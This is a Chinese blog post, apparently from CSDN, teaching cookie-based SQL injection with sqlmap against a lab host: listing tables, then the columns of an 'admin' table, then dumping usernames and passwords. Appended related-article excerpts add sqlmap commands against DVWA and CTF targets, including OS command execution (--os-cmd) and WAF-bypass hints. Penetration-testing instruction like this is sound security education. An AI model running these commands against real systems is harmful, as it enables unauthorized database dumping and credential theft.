sqlmap之(五)----Cookie注入实战

最新推荐文章于 2025-10-16 17:01:19 发布
原创 最新推荐文章于 2025-10-16 17:01:19 发布 · 2.1w 阅读 · 18 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#SQL注入

本文详细介绍如何使用SQLMap工具进行SQL注入攻击，包括注入点探测、表名猜解、字段名猜解以及敏感数据导出等步骤。通过实例操作，帮助读者理解SQL注入的工作原理及防范措施。
部署运行你感兴趣的模型镜像

(1) cookie注入，猜解表


sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --table --level 2




do you want to URL encode cookie values (implementation specific)? [Y/n]

你想要对URL值进行URL编码（具体实现）吗?   输入"Y"




Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

cookie参数“id”是脆弱的。你想继续测试其他（如果有的话）吗?  输入"Y"




do you want to use common table existence check? [Y/n/q]

你是否要使用存在的公共表去检查? [Y/n/q]  输入"Y" 并输入线程数。




等待一下就出结果了。




(2) 猜解字段，(通过1的表猜解字段，假如表为admin)


sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --columns -T admin --level 2





(3) 猜解内容


sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --dump -T admin -C "user,password" --level 2



猜出的内容为



您可能感兴趣的与本文相关的镜像

Wan2.2-T2V-A5B

Wan2.2-T2V-A5B

文生视频
Wan2.2

Wan2.2是由通义万相开源高效文本到视频生成模型，是有​50亿参数的轻量级视频生成模型，专为快速内容创作优化。支持480P视频生成，具备优秀的时序连贯性和运动推理能力

【网络安全 | 渗透工具】SQLmap加密注入教程+实战详析
等风来
08-02 8123
在使用手工注入绕过参数加密的限制时，需要构造出原始POC再进行加密注入，耗时耗力，因此采用sqlmap加密注入。表示只对该参数进行注入测试，不加 * 的话还会测试其他参数是否为注入点，增加时间。选择默认选项，跑sqlmap的时候加上这句话可节约时间、不需要回复提示
关于ctfhub中cookie注入方法之sqlmap自动注入
m0_62819604的博客
10-23 860
首先，我们可以使用burpsuite进行抓包。 如图所示，可以发现注入点为id=1。 然后我们可以使用kali linux里的sqlmap自动注入。 首先查询数据库名称sqlmap -u "http://challenge-593b577518b0da97.sandbox.ctfhub.com:10800/" --cookie "id=1" --level 2 --dbs 发现数据库为sqli 然后查询数据库表sqlmap -u "http://challenge-593b57751..
手把手带你学习SQLMAP
2301_77147728的博客
03-22 862
表中的所有字段的内容，在这里可以清晰的看到user字段对应的password字段的值，这就是拖库的基本原理，学会了的给个赞。后面一系列的黑科技，由于权限不够，暂时就不分析了，下次有机会咱们再碰一碰。相反，这也说明了权限的重要性。可以看到这里咱们的Cookie是，security=medium表示咱们现在处于中级模式。美滋滋，成功了，抓包重放，屡试不爽，学会的给个赞～这里可以看到，咱们这个漏洞靶场使用的数据库是。选哪张表，你可以看当时自己的心情。可以看到这里咱们的Cookie是，数据库里面，我们获得到。
渗透测试—手把手教你sqlmap数据库注入测试—靶场实战教程建议收藏！
最新发布
wholeliubei的博客
10-16 725
SQLMap是一款自动化SQL注入工具，支持5种注入模式（布尔盲注、时间盲注、报错注入、联合查询和堆叠查询），可检测和利用网站SQL注入漏洞。它支持主流数据库如MySQL、Oracle等，通过简单命令即可扫描目标网站、获取数据库信息（库名、表名、字段等）。安装需Python3环境，使用时可通过代理参数配合BurpSuite抓包分析。该工具既能用于渗透测试，也能帮助开发者发现自身系统漏洞，是网络安全领域的重要工具。
利用漏洞注入（sql注入）
xianyunb的博客
06-21 520
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行指定的SQL语句。主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤，转义，限制或处理不严谨，导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。具体来说，它是利用现有应用程序，将SQL语句注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据，而不是按照设计者。
SQL labs-SQL注入（五，使用sqlmap进行cookie注入）
2302_80280669的博客
07-24 1236
Cookie 是一些数据, 存储于你电脑上的文本文件中。当 web 服务器向浏览器发送 web 页面时，在连接关闭后，服务端不会记录用户的信息。Cookie 的作用就是用于解决 "如何记录客户端的用户信息":当用户访问 web 页面时，他的名字可以记录在 cookie 中。在用户下一次访问该页面时，可以在 cookie 中读取用户访问记录。
Sqlmap2021 -- Cookie注入
Web安全工具库
07-07 4383
喧闹任其喧闹，自有我自为之，我自风情万种，与世无争。。。 ---- 网易云热评 一、检测Cookie注入 1、通过BurpSuite抓包，将封包内容保存到1.txt GET /sqli/Less-20/index.php HTTP/1.1 Host: 192.168.139.129 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x.
sqlmap----Cookie注入实战
小明师傅博客
06-06 617
这里我们用封神台的靶场演示 一个典型的cookie注入 测试时被waf，限制了 上sqlmap sqlmap.py -u "xxxxxxxx/shownews.asp" --cookie "?id=170" --leve2 --table 这里不知道为什么leve 5 不行,不过2是专门给cookie注入用的，还有这里为什么不爆库呢，因为这里是asp+access数据库，查询不了，所以直接查2表 拿到密码，找后台,登陆 ...
sqlmap `--method` 与 `--data` 参数详解（含实战案例）
Flying_Fish_roe的博客
09-30 1001
摘要： 本文介绍了sqlmap工具的--method和--data参数的使用方法。--method用于手动指定HTTP请求方法（如POST、PUT），覆盖自动识别结果，适用于测试非GET/POST接口或修复自动识别错误。--data用于传递POST/PUT请求的参数体，支持表单和JSON格式。两者常配合使用，如--method POST --data "参数"。文章通过实战案例（如修复POST识别错误、测试PUT接口注入）演示了具体用法，并指出注意事项（如参数格式、中文编码处理等）。这些
SQL 注入之 sqlmap 实战
2301_77160226的博客
08-29 1921
sqlmap 是一款自动化的 SQL 注入工具，它可以检测、利用和接管数据库服务器。它支持多种数据库管理系统，包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。自动化检测：能够自动检测目标网站是否存在 SQL 注入漏洞。多种攻击方式：支持基于错误、布尔盲注、时间盲注等多种 SQL 注入攻击方式。数据库枚举：可以枚举数据库的名称、表名、列名和数据。权限提升：尝试提升数据库用户的权限，以获取更高的访问权限。
网络安全-实验七-SQL注入-盲注+sqlmap使用.docx
11-10
【网络安全-实验七-SQL注入-盲注+sqlmap使用】 SQL注入是一种常见的网络攻击方式，它通过在应用程序的输入参数中嵌入恶意SQL代码，从而控制或篡改数据库的行为。在这个实验中，我们将深入理解SQL注入的盲注类型，并...
利用SQLMap进行cookie注入
kuxing100的专栏
05-05 2145
SQLMap被称为注入神器，N多大神都使用SQLmap来进行注入测试，我等小菜当然也会用来装一下A*C，用了N久SQLMAP了，但是极少用到cookie注入，一遇到cookie注入就去使用注入中转工具，比较麻烦。刚好今天群里的USB问起sqlmap是否支持cookie注入，就研究了一下，发现其实sqlmap进行cookie注入很简单的。 测试URL：   参数获取使用的是
SQLmap————4、Cookie注入
Fly_鹏程万里
05-04 1104
说明：默认情况下SQLMAP只支持GET/POST参数的注入测试，但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数，当>=3的时候将检查User-agent和Referer，那么这就很简单了，我们直接在原有的基础上面加上 –level 2 即可！1、判断是否可以注入Sqlmap –u http://www.xxx.com/cookie/test.asp  -...
SQLMAP进阶使用 --cookie
Z_l123的博客
02-19 8437
实验原理 Cookie，指某些网站为了辨别用户身份而储存在用户本地终端上的数据。Cookie在 Web应用中至关重要，用户的唯一标识session id也是存在cookie 中的。利用SQLMAP对目标网站进行检测时，默认是不带cookie 的，在一些情况下发出去的请求可能会被服务器拒之门外。这时,我们需要带上 cookie才能进行SQL注入检测。 1.访问DVWA网站 1）访问dvwa，并登录。admin password 2） 登录后，在左侧菜单点击“DVWA Security”，将DVWA
sqlmap指定cookie_SQLmap的cookie注入测试
weixin_39568232的博客
12-24 919
最近公司系统在做安全方面的整改，有个接口可通过sql注入获取到用户数据库，进而获取到表及表结构信息。故，学习了sqlmap注入中cookie注入相关知识，并做以总结。这是对一个接口做的简单sql注入测试：经过多次尝试，最终用cookie注入测试：sqlmap.py-u “url地址” –cookie “requests里面的set-cookie信息” --tables--time-sec=2...
SQLmap 注入 -04-cookies
shenghuiping2001的专栏
01-22 517
SQLmap 利用 cookies 来注入web, 另外sqlmap 后面也可以加 --sql-shell, 来进入mysql shell 进行交互。
sqlmap之POST注入与cookie注入
热门推荐
ve9etable的博客
10-28 3万+
零、POST注入 POST和GET POST和GET是HTTP的两种请求方法，并且是两种最常用的请求方法 GET一般指向指定资源请求数据，而POST则是要向指定资源提交需要被处理的数据 查询字符串是在 GET 请求的 URL 中发送的，类似于这样 而POST查询字符串是在 请求的 HTTP 消息主体中发送的，类似于这样 ...
sqlmap之cookie注入（靶场第二题）
giun的博客
03-03 7818
sqlmap 靶场第二题：https://hack.zkaq.org/?a=battle&f=target&id=31ac789a52edf9bb 首先我们尝试下sql注入 http://120.203.13.75:8001/shownews.asp?id=171%20and%201=1 说明该网站有防cookie注入 ...
sqlmap注入dvwa实战
07-21
在进行SQL注入实战操作时，`sqlmap` 是一个功能强大的自动化工具，能够帮助测试人员发现并利用 SQL 注入漏洞。以下是以 DVWA（Damn Vulnerable Web Application）为例的实战操作指南。 ### 1. 环境准备 在开始之前，确保以下环境配置完成： - 安装好 DVWA 并部署在本地或远程服务器上。 - 确保 `sqlmap` 已安装，它是一个基于 Python 的工具，可以通过命令行运行。 - 确保浏览器可以访问 DVWA 的 SQL 注入页面，通常为 `http://localhost/dvwa/vulnerabilities/sqli/`。 DVWA 的 SQL 注入漏洞存在于其用户输入处理逻辑中，例如用户输入未经过滤或转义，直接拼接到 SQL 查询中，从而允许攻击者注入恶意 SQL 语句。 ### 2. 登录 DVWA 并获取 Cookie DVWA 需要登录后才能访问某些页面，因此需要先获取登录后的 Cookie。可以使用浏览器的开发者工具（如 Chrome 的 DevTools）查看登录请求的 Cookie 信息。 假设登录后的 Cookie 为 `PHPSESSID=abc123; security=low`，该 Cookie 用于维持会话并指定安全级别为 `low`。 ### 3. 使用 sqlmap 探测注入点 使用 `sqlmap` 探测目标 URL 是否存在 SQL 注入漏洞。命令如下： ```bash sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" --dbs ``` 此命令将探测目标 URL 并列出数据库名称。`--cookie` 参数用于提供登录后的 Cookie 信息，以维持会话状态。 ### 4. 获取数据库信息 如果探测成功，可以进一步获取数据库信息，例如当前数据库名称、用户等。命令如下： ```bash sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" --current-db ``` ```bash sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" --current-user ``` ### 5. 获取表和列信息 获取指定数据库中的表信息： ```bash sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" -D <database_name> --tables ``` 获取指定表的列信息： ```bash sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" -D <database_name> -T <table_name> --columns ``` ### 6. 提取数据 提取指定表中的数据： ```bash sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" -D <database_name> -T <table_name> -C <column_name> --dump ``` ### 7. 高级操作 - **绕过 WAF**：可以使用 `--tamper` 参数加载篡改脚本，修改注入 payload 以绕过 Web 应用防火墙（WAF）。 - **系统命令执行**：如果数据库支持，可以尝试执行系统命令： ```bash sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" --os-cmd=whoami ``` ###
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值